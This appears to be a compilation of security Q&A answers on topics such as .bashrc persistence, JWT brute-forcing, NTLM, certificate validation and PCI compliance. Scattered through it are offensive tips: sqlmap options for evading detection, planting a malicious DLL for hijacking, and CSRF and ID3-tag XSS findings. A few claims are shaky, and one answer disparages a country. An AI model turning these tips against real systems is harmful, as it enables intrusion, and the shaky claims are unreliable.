How .bashrc can be used to attack a system?

This is not an exploit, as there is no underlying vulnerability to be exploited. It's more akin to malware, in the sense that it does something malicious on your system.

As you probably know, .bashrc and .bash_profile run after a user runs bash and authenticates successfully. This is not a vulnerability and very much so by design and/or necessity, however you want to look at it.

On the surface, it seems like a straightforward thing to use for an attacker to escalate their privileges. A file that executes anything as soon as the user does a trivial task. In practice however, this is more difficult. In order to edit the .bashrc or .bash_profile file, you need some way to edit arbitrary files with the permissions of the user you would like to attack. This is already an incredibly strong position to be in, and modifying those files will likely not get you into a better position. An analogy for this would be if you are holding a gun, then a toothpick will not be a better weapon.

Therefore, an attacker wants to either escalate their privileges even more, or they want to make their current access more consistent or more convenient. This is something that modifying .bashrc can help with. The example you already made shows this very well. By gathering the user's credentials, access to the machine could either be easier (connecting directly via SSH rather than using e.g. a web shell or some other exploit) or it could allow the attacker to execute commands rather than only writing files.

Other things an attacker may want to do is:

Modify system files to include malicious behavior (to persist access)
Gather administrative credentials to act as root (to escalate privileges)
Launch other malicious software (to make further exploitation more convenient)

How exactly those are done is not rocket science. .bashrc executes whatever you put there with the permission of the current user. You can use your imagination to come up with examples.


Brute force HMAC SHA256 (HS256） equals to break JSON web token signature?

Yes. If you crack the secret key used in the SHA256 signing you can create arbitrary JWT's yourself. The signature is a SHA256 HMAC, which does three two SHA256 operations, so it would be a little more than twice as slow as cracking plain SHA256. On commodity hardware you can do in the order of 10⁹ tries per second.


Where would you recommend me to store a Keepass-file?

The best place to store your Keepass DB file is wherever it is most convenient for you. With a sufficiently strong password, you could even post your DB online publicly and still sleep well at night. Just make sure to:

Use a long password (20+ characters) that is not guessable outside of brute force.
Set a high number of iterations used to generate the key from your password. (I use 5 million iterations for mine.)

I personally like storing my Keepass DB in Google Drive because it allows me to easily access my DB from both my phone and my laptops. As a bonus, it also is automatically versioned every time I update it. Tip: if you do use Google Drive or another service that versions your file for you, I recommend deleting the version history (or delete the file and re-upload), every time you change the master DB password.


Why does Windows still use a weak hashing algorthim to protect passwords?

Two reasons: backwards compatibility and threat model assessment. Microsoft uses Kerberos over the open Internet, but NTLM within a network. The reasoning is that if your network has already been pwned, using a more secure algorithm offers no benefit. Internal applications also within an organization also tend to run older versions of the OS (XP, mostly), so allowing NTLM lets corporations to continue to use their older hardware and software.


Are these access.log entries successful wordpress login attempts?

First of all, here is how it's handled by default when you visit the login page and try to log in:

POST /wp-login.php
[invalid credentials]
-> 200

POST /wp-login.php
[valid credentials]
-> 302

So it's the other way around than what you assumed. 302 means valid credentials (redirect to admin area), while invalid credentials result in 200 (stay on login page).

There are however various ways you can achieve a 302 without passing valid credentials. For example, you could add a POST field containing action=postpass, which would result in a cookie being set, and wp_safe_redirect (which by default uses 302) being called with the referer that was passed.

There are a lot of other actions that would result in a 302, for example action=register.

So while I can't say for sure that there were no successful bruteforce attempts, it could very well be that those 302 attackers are just scanning your website to check if your registration is open (possibly to register and then try to escalate their privileges). It could also be that their bruteforce tool is misconfigured.


Principle of Least privilege; is it ever a 'good idea' to give standard users administrative privileges?

In the context of your question, there is no real "right or wrong" answer because we don't really know what are your security requirements.

First, you should take into account the fact that UAC is by no mean the same thing as not having admin privilege. I suggest you read this answer: it contains pretty much all the details you need to know about what UAC is and, more important, what it isn't but the most crucial point is that UAC is only a protection against "low hanging fruits" type of attacks.

That doesn't mean your colleague is wrong either: it might be that, for the set of tasks your users routinely have to perform and for the kind of threat environment you're working in, UAC might be deemed good enough.


Can an Android app steal cached/stored passwords from other apps on my phone

Welcome Alfredo :)
TL;DR
No. Android apps are "sand-boxed" inside their own user in the operation system. So unless Snapchat/you Android version have a specific vulnerability (and if you update your phone this shouldn't happen), other apps are not able to get stored passwords.
Application Sandbox in Android
Android is based on the Linux operation system. Thus, it isolates apps from each other and protects apps and the system from malicious apps.
To do this, Android assigns a unique user ID to each Android application, which means all the application files, unless defined otherwise, are protected and accessible only to this specific application (user id).
Other mechanisms for saving users passwords
Android also implemented an account manager, in order for apps to save tokens and passwords securely. In short - that's an encrypted DB that is managed by the operation system itself, and every app could save tokens/passwords using it, in a secure manner.


Confusion about the software and also the digital signature getting modified

You can't ignore public keys.

Binaries are signed with code signing signatures from trusted certificate authorities and only they are trusted.

Windows drivers are signed with certificates issued by Microsoft and only they are trusted.

  However, What if the software/ firmware and also the digital signature gets purposely modified to suit? The transmitted hash will now match the modified software/firmware.

True, but you can't sign the binary with a trusted certificate (from trusted CA) if you don't have the certificate itself. Obviously, custom made signatures will not be trusted.

  Let's ignore the public and private keys part for now. Won't the hashes will still match on the receiving end and we have a modified software that can still be accepted?

How can you ignore PKI? That's the whole point. They do not trust the signature and they do not trust the binary itself.

Like this:


SQLmap finds injectable 'id' parameter but the response is 'Internal Server Error'

500  Internal Error means that the SQLmap's payload is being detected and cannot fully exploit the target.  You  can try with option --random-agent and/or --hex maybe this will successfully do it.


Using keys inside a secure enclave on a non trusted hardware and OS

A full memory dump from a trusted user or a hardware attacker will not reveal the contents of the enclave. The enclave memory is encrypted using a key that is stored only in the CPU, generated at boot, and not present in memory. However, it's important to realize that there are many side-channel attacks coming up which allow a local attacker (a malicious user, privileged or otherwise) to leak sensitive information from the enclave, especially when using modern microarchitectural attacks.


Is there a way to specify PHP escape method when using SQLmap?

Have a look on PHP PostgreSQL Prepared Statements. It will escape your variables just fine and it will help you with forgetting to escape something, or double-escape.


Activesync: If I disable or rename the AD account does that mean the phone won't be wiped?

My understanding is that the wipe is unrelated to the user account, as the phone itself is now tied to Exchange.


I am not sure what you mean "on a remote server" but very simply put: yes, you can - as long as you're authorized.

If your scenario is to scan server which lies outside of your local network (for example a different server belonging to your company, hosted somewhere else) Nessus is your choice.

If you mean you want to perform a scan from a remote server with Nessus, that's possible as well. Our company uses Nessus on a dedicated server for external scans.

But be warned - don't scan server which you're not authorized to.

I also believe trial version is only for non-commercial scans.

Happy scanning!


Securing multiple connections with different protocols all together

With SSL/TLS, you will most probably need to open several ports (one per service), and indeed FTPS (FTP over SSL/TLS) indeed may cause some issue when dealing with the data connection (port to open to establish the connection, NAT device address to take into account, etc.).

SSH might seem more suitable since it allows to open only one port:

SSH offers native support for SFTP and SCP protocols for file transfers (even if I'm not aware of QoS settings at this level, usually handled by the host or external devices), all within a single TCP connection (as opposed to the two TCP connections required by FTP),
For the Raw TCP, you may want to take a look to the SSH subsystems configuration options, mainly used to make 'sshd' to use an external program to handle SFTP requests, it can allow you to define your own supplementary subsystems corresponding to your needs,
And at last SSH offers tunneling facilities, to secure any kind of TCP connections.


What was the aim of this invalid HTTP request that tells a story about goats in the request URI?

I don't know what the REDACTED part consisted of, but I can tell you that the bytes \xf0\x9f\x90\x90 correspond to a picture of a goat in UTF-8:

Here it is:

Note: On a whim, I also looked up the Intel opcodes corresponding to these byte values. They don't do anything interesting at all — 0x90 is NOP (does nothing), 0x9f is LAHF (load FLAGS into AH register), and 0xf0 is LOCK (which will raise an illegal instruction error when followed by LAHF).


Should I keep to HDDs for sensitive data?

Either way there are risks, but the best solution is to use full-disk encryption.

With SSD's, there is the risk of data that is left readable by technical tools in areas of the drive that have been removed from service by wear leveling.

But the same thing applies to hard disk platters, which likewise "house keep" in this fashion.

I am not aware of any physical destruction issues that would apply only to SSD's that would not also apply to modern hard disks (which have circuit boards, flash chips, etc.

It seems to me the solution is to initialize the SSD (or physical platter hard disk), out of the package, with your favorite secure full disk encryption software; and rely on the security that provides.  If you want further assurance, then there are services that will reliably grind used hard drives into metal, plastic and epoxy confetti.


Is there an easy way to record how long it takes John the Ripper to crack passwords?

John the ripper logs its activity to stdout.  If you note that it's cracked a password, you can terminate the session with a ctrl-C.

The log file .john/john.log will note the account(s) that have been cracked, with a timestamp.  Grep that for 'Cracked' to turn those up.


Symlinks from public_html to directory linking to files in custom home directory

Since I do not know the technology on which you are working, Ill try to answer the questions in a generalized manner. Hope this will help.
 Answer to your above questions:

Is the above configuration bad by nature and something that I should never do under any conditions? - It depends on how much vulnerable you are to threats and attacks. That of course depends upon the reputation(daily visits) your website has.

Why it is bad to link my public_html to a folder files to a folder that is outside of it and specifically to the folder I mentioned above? - Because the link that you are using to join the public files to non-public files can be hijacked by adversaries to access your protected/non-public content.

How the said symlinks could be used against me and to take control of the root filesystem? - same as above

What are the extra requirements I should consider, in order to have the above setup working without being insecure? - You have to set up some seurity measure to make it sure only the trusted entities are gaining access to the protected space.


How to store clients SFTP credentials in a web application

The ideal way to handle scenarios where you need a user's authorization would be to use something like Oauth, but given the fact that OAuth doesn't apply for SFTP, yes, you would want to store them in an encrypted format, and decrypted them at runtime. Encryption is incredibly hard to do correctly.  Many experts who have done it for years still make mistakes.  While I can't spell out specifically how your application should work, I can give some guidelines.

Make sure you're following proper cryptographic protocols. This will be the hardest part.  You will need to do some studying for this.
Make sure to use a well-known library such as NaCl or BouncyCastle.  They are nice, high-level libraries which make it harder to make mistakes.
Choose the proper algorithm.  You will want to choose a symmetric block cipher like AES-256.  Asymmetric encryption or stream ciphers are not meant for the task which you are trying to accomplish.
Store your encryption keys in a separate datastore from your encrypted data.  If your database containing your ciphertexts is breached by a sql injection attack, you don't want the decryption key to be included along with that.
Make sure you're accounting for people having duplicate passwords.  Encryption is deterministic, meaning, if you use the same encryption key and the same plaintext, you will get the same output.  This can be fixed in a couple of different ways: either using a unique encryption key for each client (probably not practical), making sure you use a unique IV (and choosing a mode of operation which supports IVs), or adding a unique value to the front of the plain text (again, making sure to choose the correct mode of operation.

This is not meant to be a be-all end-all list of how to implement the encryption securely, but it can at least get you pointed in the right direction.


Do ciphers and encoding schemes make passwords more secure?

"and then use the result as their master password on LastPass"

The proposed "algorithm" is in essence just a fancy key expansion.

As you surmised, it is security through obscurity. If one knew that I was using a base64 encoding of a plaintext crunched through (say) Bifid, he would be able to brute force the database much faster: the plaintext would probably be no more than four or five words, giving somewhere between 50 and 70 bits of information, not as if it was a real 100-bit sequence.

On the other hand, 50 to 70 bits of information is pretty good for a password (see mandatory xkcd link). So if you started with a secure choice, you'd stay secure.

On the gripping hand, good password managers allow for any length of master password. So I could choose a lengthier text of my choice, and that could be both easier to regenerate and better security. I can't run Bifid with pencil and paper every time I need to unlock my password manager.

And if one chose a single word, insecurely, trusting in the magic of base64 to enhance its hardness? If that became known, a password database could be blown open in a few minutes. So, depending on who's given to, it might even be a very bad suggestion.

funny factoid

A colleague told me that, apparently, this kind of - not "fallacy", let's say "inefficiency" - might be called Feynman's Yellow Paint. The story goes that a painter claimed to be able to get yellow paint by mixing red and white, while Feynman held this was not possible. They proceeded with the experiment, and the white-red mixture turned pink -- and stayed pink. So the painter commented, "Usually I added some yellow, and then it turned out fine".

The analogy here is that to get a strong password from a base64'ed ciphered scheme, you need to start with a strong password. But if you have a strong password, then you do not need the cipher and encoding superstructure.


Security Researchers: How do you choose what services or software you are going to audit next?

I audit a lot of code, I write exploits,  and I have accumulated more than 50 CVE's over the course of about 6 years of bug hunting.

When I went on my first serious bug hunt I was looking for weak projects that had not be extensively audited by the community(or milw0rm back in the day).  To do this I used SourceForge's Advanced Search,  which has changed a lot.  Basically I was looking for a PHP project that people where downloading and using,  but wasn't very popular.  Lets say around ~1,000 downloads and less than 1 year old.  I found Ultimate PHP Board which turned out to be very insecure.

As time progressed I got bored with insecure projects so I changed my tactics entirely and started going after popular projects.  For example I exploit PHPMyAdmin which is the most downloaded PHP application.

After years of penetration testing and application development you get a kind of 6th sense into how the code works and where the problem areas can be.  You can look at a piece of functionality and write an implementation in your head and pick out where things could go wrong.  So on a penetration test I always ask my self the same question: "What is the worst that could happen?". And then go out and focus my testing based on this question.

I'll give you a good example. I saw an advertizement for Canonical Landscape (Maker of Ubuntu).  In the ad it showed a feature of Landscape where you could execute a command on every machine you own as root.  I thought to my self,  "What if it was vulnerable to CSRF?".  I signed up for a free trail,  and sure enough,  you could gain remote root on every machine using a single forged HTTP request.  Outch!  (I also got remote root on cPanel with CSRF, and I earned a severity metric :)

Another flaw I found in Google Music, I uploaded an MP3 that had JavaScript in all of the ID3 tags.  Sure enough the artist and album names where being printed to the page,  and I got $500 from the bug bounty program with my very first test.  One of the reasons why I chose this input is because i knew it wouldn't be exercised by a dumb vulnerability scanner.  Its as if I knew it would fail ahead of time. That kind of innate understanding only comes with years of practice.


At What Point Does A Device Correspond/Link to its Owner?

Based on the PRISM disclosures, I think you're conceiving of it backwards. Powerful governments track the services you use, not the hardware. To them, it doesn't matter what device you used, only the account activity matters. The other things you mention like credit card activation can certainly be found out by a 3-letter investigation, but they don't (afaik) pre-collect that kind of info because they don't need it and it's easy to side-step by crooks.

Only if you enter into an active investigation (as opposed to broad surveillance) will device activity be actively captured, in the present and the future. This takes a higher legal standard than mass surveillance, which looks only at things done in the recent past. Non-US countries might have different policies of course.

While we don't have full details about how they actively track, it's safe to assume they would track any devices used by the account (skype/gmail/fb/apple/etc) they identified as belonging to you. I don't think their resources are finite so they don't really need to prioritize which phone you "use most"; they just monitor all of them. Later on in court they have to sort times and devices out for a jury, but I don't think that's what you're asking about.


Why trust a certificate authority?
Why trust the developers of the apps you use?
Why trust your OS manufacturer?
Why trust your hardware manufacturer?

Each one may or may not be worthy of your trust, but at some point, you have to trust something. A company whose entire business model is being trusted seems like as good a choice as any.


Securely transferring data from service provider to client

From a security point of view, your options are NOT equivalent. Whether this is important or not depends on the context.

The first two methods are, roughly, equivalent in security: in both case you're using encryption of data in transit and rely on the complexity of you access password to protect the data. The security challenge you're going to get here are pretty much in the line of: protecting against MitM attacks and password cracking. In both case, you'll have to setup this carefully and properly to prevent MitM and in both case you'll require a separate secure channel for exchanging keys (in your case, the password).

You could make it stronger by using public/private key pairs for authentication though. Another issue is that, since the data is not encrypted on the server (at rest), any flaw in the server software or setup might grant access to your data to an attacker.

The third method is different. Although you will still require a separate secure channel to exchange passwords, you are not relying on encryption connection for confidentiality. This means that the whole setup is more resilient since breaking one layer of protection (say, your mail server) will not grant an attacker access to the data.

That being said, you could improve on that design a lot. For instance, using a SFTP server to host an encrypted PGP file will make everything both more secure and more practical. If you're willing to trust your keys to some machine in your internal network, the whole thing can be automated.

As for temporary files, only if they really mater in your use case, then your requirement is strict enough that you should NOT try to implement that yourself but hire a professional. In general, temp files are as secure as the other files on your machine: if your machine is secure enough, so are your files. And if you have a temporary, non-encrypted files uploaded to a server somewhere, that file will be as safe as the "real" copy that you intend to leave there (i.e. not very much).


There are different kinds of hash functions for different tasks. For hash functions which are used speed up lookups in databases the speed is important and it is usually easy to produce collisions, i.e. different inputs leading to the same outputs. Cryptographic hash functions instead are designed so that collisions are only very hard to found, that means too hard to be found with the computer power available in the next years.

  If the hash can be seen as modulo 5 ...

While this might be a simplification usable for simple hashes it does not model cryptographic hash functions. These can more be seen as a kind of function where it is easy to compute the hash value but too hard to find an input which will produce a specific hash value.


Short answer: yes.
The Docker documentation says:

  Secrets are encrypted during transit and at rest... Here

, which is exactly what it is supposed to be. And rest in this case means: While it is not used by the docker container.

But if your running software needs to read the secrets (such as an SSH key) it has to be decrypted. This means that in every case the secret gets mounted to a docker container it will be decrypted.
And given this scenario every attacker who has shell access will be able to read this as well. This is not what docker tries to protect you from. See also: Docker Secrets


Shall i proceed with CEH-LPT-OSCP? Or any other course?

I am also currently a student close to graduating, my degree is in MIS and I have had a concentration in information security. Before even attending my 4 year I had spent a bit of time doing research on infosec and pentesting. One thing I will say is these are two similar but different fields, but both provide very valuable info. My suggestion is to read these two books, The first one is what I read before coming to 4 year. The basic of pen testing will teach you red team tools, networks, website security, and how to use the command line. The second book follows the curriculum of my information security and assurance course; this is typically understanding what a vulnerability is, CIA triad, least user privilege..ect. Infosec is more business side with analytics; where as pen-testing is more the infield computer engineering position. As for certs CEH is good to have, so is security+ people might disagree, but they are slightly easier and just having the certs show you are willing to learn more about the field.

I have no real world job experience, but the people I have talked with about corporate security say the positions will be looking to see that you understand security controls, understand what an audit is, know how networks work, and some red team tools. Each opportunity is different I personally try to have a grasp on everything, but focus on networks as that is what drives most internet and corporate information. I hope this helps I am sure more people will chime in, good luck with your research.

https://www.amazon.com/Basics-Hacking-Penetration-Testing-Second/dp/0124116442/ref=sr_1_7?ie=UTF8&qid=1487705873&sr=8-7&keywords=pentesting

https://www.amazon.com/Basics-Information-Security-Second-Understanding/dp/0128007443/ref=sr_1_4?ie=UTF8&qid=1487705896&sr=8-4&keywords=information+security


Why does SSL Labs say that POODLE is mitigated if a server chooses RC4?

Ivan Ristic explains this in a blog post:

  In the short term, it’s possible to mitigate POODLE by avoiding using CBC suites with SSL 3, but that involves relying on a certain insecure stream cipher whose name no one wants to mention. I don’t recommend this approach.

And that insecure stream cipher (suite) is this:

TLS_RSA_WITH_RC4_128_SHA (0x5)


Unsecured content on a page served by HTTPS is a possible explanation for this problem (at least with Google Chrome it is).

You can check your SSL configuration using https://www.ssllabs.com/ssltest/index.html

If you need futher help, please consider revealing the site's URL.


What certificates are needed for multi-level subdomains?

Theoretically:

a * matches exactly one level (hence *.foo.com does not match foo.com)
but you can have several * in a name

Hence, if all SSL implementations faithfully follow RFC 2818, you just need three certificates, with names:

foo.com
*.foo.com
*.*.foo.com

and, if the implementations are really good at sticking with RFC 2818 and the intricacies of X.509, you could even use a single certificate which lists the three strings above in its Subject Alt Name extension.

Now, theory and practice perfectly match... in theory. You may have surprises with what browsers actually do. I suggest you try it out; some example certificates can be created with the OpenSSL command-line tool (see for instance this page for a few guidelines).


Encrypt pdf by the server to prevent printing and copying

Preventing of printing, editing and copying are just flags inside the PDF file which the reader might ignore. Probably most readers in Linux will ignore these flags by default, but readers like Adobe Acrobat Reader will enforce these restriction.

Encryption on the other side has nothing to do with these flags, it's for encrypting the content so that it is only accessible by someone who knows the password. It might be combined with these flags but it does not need to be.

To set these flags at the command line have a look at pdftk option allow.


Can a man engaged in phishing be prosecuted if I know his IP?

Theoretically speaking: maybe, at the moment you just have a possibility and no actual proof. (Just IP addresses aren't enough they are circumstantial, the police will need to at least find proof on his computer (which in most cases is also, at most, considered circumstantial))

Realistically: Not a chance. It's Ghana, the chance you will get anything done there within a reasonal time span and without spending money is smaller than the probability easter and christmas happening on the same day. In those type of countries bribes are often more common than justice. This may sound rude, but it's unfortunately the truth.

There's a nice paper about cybercrime in Ghana here.


DLL hijacking - How to find out if path is relative

It's a pretty old threat but the following might help you. Just take the .exe in question and move it to a user writable directory. If you then notice that it tries to load a DLL from the application directory you have a prove that the DLL is loaded not specifying absolute paths, because if that’s the case, the Windows OS has a pre-defined search order for such situation to ultimately be able to load the needed DLL.
As an example. I’ve copied the  WinSAT.exe from C:\Windows\System32 to C:\test. If I then execute WinSAT.exe from C:\test with Process Monitor running I can clearly see that it tries to load the dxgi.dll from the C:\test directory:

If you don’t already know that, folders that are created at the root of a partition are granted permissive rights. And that’s the case with our C:\test directory. Now guess what. YES! You can place a evil DLL under C:\test, name it dxgi.dll and load your DLL with some evil badness.
PS. Here’s a nice visualization of the actual search order:


Certificate expiry validation - in what stage?

This answer will depend on which PKI software you're using and how it's configured to handle revocation information. Certificate errors have a precedence; you want to check the most severe first.

The general procedure for validating a certificate is:

Check that the Root Cert is in your trust store (or some complicated path-building for a big corporate CA, see [**]).
Starting at the root, walk back down the cert chain checking for each one:

Is it Revoked? -- the certificate will contain information on where and how to check that it's still valid, usually by CRL or OCSP. Follow this link to make sure it hasn't been revoked.
Can the Signature on it be verified using the previous cert in the chain? -- ie the one right above it that you just finished verifying.
Is it Expired? -- check the lifetime (aka validity period) of the cert.

* I chose to order the checks this way because I work with big corporate PKIs, and our CAs track expiry and revocation separately since it doesn't make sense to block users from viewing a corporate document just because it's old (think 10+ year-old email). [See the comment thread below with @SteffenUllrich for more on that].

In the web / ssl world you should check revocation and expiry at the same time and treat expired certs as if they were revoked. The reason is that most (all?) public ssl CAs stop tracking revocation when the cert expires. For example, imagine a cert that was revoked because of key compromise, then when it expires it drops from being "Revoked" to simply being "Expired" and the fact that it was revoked is lost.

[**] I'll generalize my answer a bit to include other PKI cases where you have to accept certs from root CAs that are not in your trust store. For corporate PKIs, often the root cert is not embedded in the end-cert, so you have go on a path-building expedition. This gets even worse when your root CA is cross-certified with other CAs, for example, corporate mail servers and ID badge systems when two companies merge, or if each department maintains their own root CA (which is common in government). If you have to support PKIs like this, then you'll have to devise a (probably complicated) online certificate path building scheme.

In response to Steffen Ullrich's comment, I just checked in the CA software that we use for our corporate PKI, the Entrust Authority Security Manager, and it certainly supports this:

and with this turned on you can also revoke certs even after they have expired. Unfortunately for you, the docs I'm looking at are not public, so I can't link them. I think the "partitioned CRL" is an Entrust-proprietary CRL format, so I have no idea if clients from other vendors support it, or if other CA software has similar features.

That said, unless you know (1) which CA software issued the certs you are checking, and (2) that it's configured to keep expired certs in the CRL, it is safer to treat Expired and Revoked as the same level of severity (or even the same error).


Using browser XMLHttpRequest to initiate credit card transaction with processor?

This is potentially a reasonable approach, but it comes with some conditions that may not make it palatable for you to use.

Before I begin I think it's worth me mentioning that I worked for a PCI ASV/QSA organisation for a number of years and performed quite a few PCI assessments during that time. I'm a little rusty on the very latest standards but I don't think anything I mention here has changed significantly since I last worked on this stuff. I am, however, just a random dude on the internet, and you should speak to your PCI QSA and payment provider directly (which may be your bank) to ensure proper adherence to requirements. PCI DSS compliance is usually a contractual obligation with your payment provider or bank, and failing to take the necessary steps to be compliant may land you in breach of contract (or worse, investigated by your jurisdiction's data protection ombudsman).

The PCI Security Standards Council published a document called Best Practices for Securing E-Commerce which I suggest you read, as it is a very useful document. It outlines the best options available for merchants who want to have payment facilities on their website but don't want to have to go through the hassle of PCI DSS certification.

The document calls the method that you're proposing the "JavaScript Form process" (see Section 2.4), and it considers it to be roughly equivalent in security to a direct form POST process where the customer enters their payment information into a form on your website and it posts the content to the payment provider.

The document provides a reference example as to how this should be implemented. However, it is important to note that they also state the following:

  Merchants using a JavaScript e-commerce implementation may be eligible for PCI SAQ A-EP, providing they meet the eligibility criteria of that SAQ. Merchants should consult with their acquirer (merchant bank) or with the payment brands directly to determine whether they are required to validate their PCI DSS compliance and which reporting method they should use. SAQ A-EP for PCI DSS v3.2 currently includes 191 requirements.

What they mean by this is that, if you meet certain requirements, you only have to be certified as PCI SAQ A-EP complaint by a PCI QSA (Qualified Security Assessor) instead of certified for the whole of PCI DSS like a payment provider. The PCI SAQ A-EP requirements effectively state that if you're not touching card details, never retain any card details, use a PCI DSS compliant payment provider, and only control the web page into which card details are entered before being sent directly to the payment provider (either by POST or XMLHttpRequest) then you "only" have to get certified to the less-comprehensive PCI SAQ A-EP standard by a PCI QSA.

Ultimately what this means is that if you use the direct form POST or JavaScript form methods, you still need to get assessed to SAQ A-EP standards. The overview of the standard requirements is as follows:

Requirement 1: Install and maintain a firewall configuration to protect data
Requirement 2: Don’t use vendor-supplied defaults for system passwords and other security parameters
Requirement 3: Protect cardholder data
Requirement 4: Encrypt transmission of cardholder data across open public networks
Requirement 5: Regularly update anti-virus software
Requirement 6: Develop and maintain secure systems and applications
Requirement 7: Restrict access to cardholder data by business need to know
Requirement 8: Identify and authenticate access to systems
Requirement 9: Restrict physical access to cardholder data
Requirement 10: Track and monitor all access to network resources and cardholder data
Requirement 11: Regularly test security systems and processes
Requirement 12: Maintain a policy that addresses information security for all personnel

The full standard goes into specific details about what does and does not constitute satisfactory adherence to these requirements.

If all this sounds way too complicated and costly, don't worry, because there's an alternative. If you look in the best practices document I linked, in section 2.2, they describe an iFrame approach. In this approach you put the payment provider's payment page inside of an iframe, thus having the payment information (card details) entered into a page whose security origin cannot be tampered with by scripts running on your page due to the Same Origin Policy (SOP). This carries with it a greatly reduced set of compliance requirements:

  Merchants using an iFrame e-commerce implementation may be eligible for PCI SAQ A, providing they meet the eligibility criteria of that SAQ. Merchants should consult with their acquirer (merchant bank) or with the payment brands directly to determine whether they are required to validate their PCI DSS compliance, and which reporting method they should use. The PCI SAQ A for PCI DSS v3.2 questionnaire currently includes as few as 22 requirements.

As you can see, you're going down from 191 requirements to as few as 22, which is much simpler and cheaper. This also reduces the amount of development you have to do on your side of the fence, because everything is handled by the payment provider via the frame.


A rudimentary training program should minimally educate users on critical issues. Measuring its effectiveness provides the opportunity to ensure that users are getting the relevant information they need to do their jobs safely and effectively.

Send out a survey that assesses awareness of job-specific information security issues and see how your employees score.

How often should you change your password?
What are appropriate methods for transmitting confidential
information to a business partner?
Whom it is safe to discuss your personal details with over the
phone?
How can you identify a secure site?
How can you identify a secure e-mail?
What is "phishing"?
What are the security risks in using social networks?
What information have you (or would you) put on a social network?
How can computer viruses be avoided?
What types of incident should be reported?

etc.


Browsers tripping on timezones and renewal of Security Certificates

My guess is that the website's certificate actually expired, and then they bought a new one and replaced it before you checked again.

When Comodo issues a certificate, the "valid from" time is backdated to 00:00:00 UTC the day it was issued, and the "valid until" time is 23:59:59 the day it expires. So the new certificate could have been issued any time of the day on August 13.

(That's just Comodo's particular policy. Other CAs handle it differently.)

It's a bit late to try to prove this now, but you could search for the domain on a tool like Censys and see if they have a copy of yesterday's certificate.

Hypothetical timeline:

2016-08-12 21:00:00 JST (2016-08-12 12:00:00 UTC): You visit the website successfully. The old certificate will expire at 2016-08-13 08:59:59 JST (2016-08-12 23:59:59 UTC), 11:59:59 from now. The sysadmins have no idea.
2016-08-13 08:59:59 JST (2016-08-12 23:59:59 UTC): The old certificate expires. All of the sysadmins are asleep.
2016-08-13 10:00:00 JST (2016-08-13 01:00:00 UTC): You visit the website and get an error. The old certificate expired 01:00:01 ago. The sysadmins are still asleep.
2016-08-13 15:00:00 JST (2016-08-13 06:00:00 UTC): The sysadmins wake up, notice that they blew it, and scramble to replace the certificate. The new one is valid starting 2016-08-13 09:00:00 JST (00:00:00 UTC).
2016-08-14 07:00:00 JST (2016-08-13 22:00:00 UTC): You visit the website again. The new certificate is, of course, valid.


Internet privacy, VPNs, etc. Am I anonymous?

Cookies, local storage, cached data ... are still there and might be used to detect the same user. You can get rid of these (mostly) when using the private mode of the browser though. Browser fingerprinting is still possible though.


How to back up encrypted data over a VPN connection? The encrypted container, the data within or encrypted individual files?

Back it up using diff-based copying of the encrypted volume image. TrueCrypt uses XTS as its mode of operation, which means at most you'll alter two encrypted sectors (sector n and sector n+1) per unencrypted sector you modify. Every time you modify a sector (or file) on the disk, it'll just have to upload that sector and the next sector.

Sectors are 4096 bytes by default on NTFS, which means you'll transfer 8kB minimum each time you make a change. However, in most cases writes will be to adjacent sectors, which means that if you write 1MB to disk, you'll actually only have to back up 1MB + 4kB, since the cascading effect means that only one extra sector is altered.


“Self signed certificates” fail, but trust store not

It looks like that Starfield Class 2 CA is the root CA for the servers certificate. This root CA need to be included in the trust store. It is  not fully clear what exactly CAfile.pem contains but from your description of "..contin the last certificate in the chain" I assume it is the server certificate and not the root CA. Since the server certificate is not a CA certificate at all it will simply be ignored when given in the -CAfile parameter since this - as the name suggests - expects CA certificates.


Will having 2FA protect me on a potentially insecure network?

2FA would not protect you when in a MITM situation. Imagine this scenario: the Google login page is fake, and everything you enter is captured by the MITM. You supply your credentials, then the fake site passes that on to Google. Google challenges the MITM for the 2FA code, but passes that request on to you. You supply the passcode, and now the MITM passes that on. The MITM is now properly authenticated and passed 2FA. They now have control over your account: they could stop allowing you to access the session and take over, or watch your session in secret.

2FA is primarily meant to protect you from malicious actors trying to bruteforce your account or using a captured password.


How to verify if a source code is safe before compiling it?

Short of reading and understanding every line of code and how it all fits together you realistically can't.  The best you can really do it to download it as a package from a reputable source who vet the packages in advance, to minimise the risk to the user.

However there are times when even full blown operating systems are are hacked (such as Mint Linux earlier this year) so you can't really be sure what you're getting is safe.

As with most things I've found when thinking about security, a lot of it comes down to balancing trust and common sense.


Same SAN listed in different certificates, both valid at the same time?

This is the case for SAN certificate.

To be clear, let me summarize that your case for the SAN certificate is that you want your load/HA-balanced web servers to be able to respond to (hostname).example.org as well as (service).example.org.  (hostname) in your example is "svc1" or "svc2".  (service) in your example is "svc".  You do not want individual an individual host (svc1) to respond to a request addressed to a different host's individual name (svc2).

You are not anticipating that the cert SAN should include all variants of .example.org.  (This is a valid configuration, but your question implies that you do not consider it one.  More on this in a moment.)

  But, machine svc1 should never look correct if queried as svc2 (by a
  mistake, misconfiguration, etc.) and vice versa. So, it is preferable
  for first machine to have certificate which is valid only for svc1 and
  svc, and for second machine to have certificate which is valid only
  for svc2 and svc.

If your only reason to ensure svc1 never responds to "svc2.example.org" and svc1 never responds as "svc2.example.org", then that does not imply that you cannot have a cert with "svc1", "svc2", and "svc" all as SAN entries.  It is perfectly reasonable to have this handled at the HTTP layer and not the TLS layer.  In fact, it is preferable to handle this at the HTTP layer, because that can be handled gracefully as a redirect or as a smart-looking error page.  If you enforce this at the TLS layer, then what you will get is a normal HTTP page which is only reachable by clicking through the ominous looking browser warnings which say "OH MY GOD! THIS COULD BE AN IMPOSTOR SITE!"

  Here we have the same name, which should appear in two different
  certificates, both valid as same time.

That is reasonable.  There is nothing prohibiting this, either in "best practices" or in actual practice.  There is nothing wrong with a single CA issuing multiple certificates for the same name, and there is nothing wrong and nothing preventing multiple CAs from issuing certificates for the same name (as per this potential dupe).

  Having two different certificates is also perceived as a security
  benefit of using a different private key on each server.

This is mildly true.  Security purists will insist that sharing a key between multiple servers increases the potential for key compromise.  This is by no means a universal opinion, however, and in the case of a small number of machines which are configured to serve the same application interchangeably, either for load balancing or HA purposes, sharing a key is a perfectly reasonable and acceptable solution.  We presume that the administrator practices decent operational security when sharing the key between machines - just as we assume that they practice decent operational security when copying a single key to a single server.

A single cert may, in fact, be preferable in terms of security.  If your users want to use pinning, then a single cert regardless of the backend is ideal.

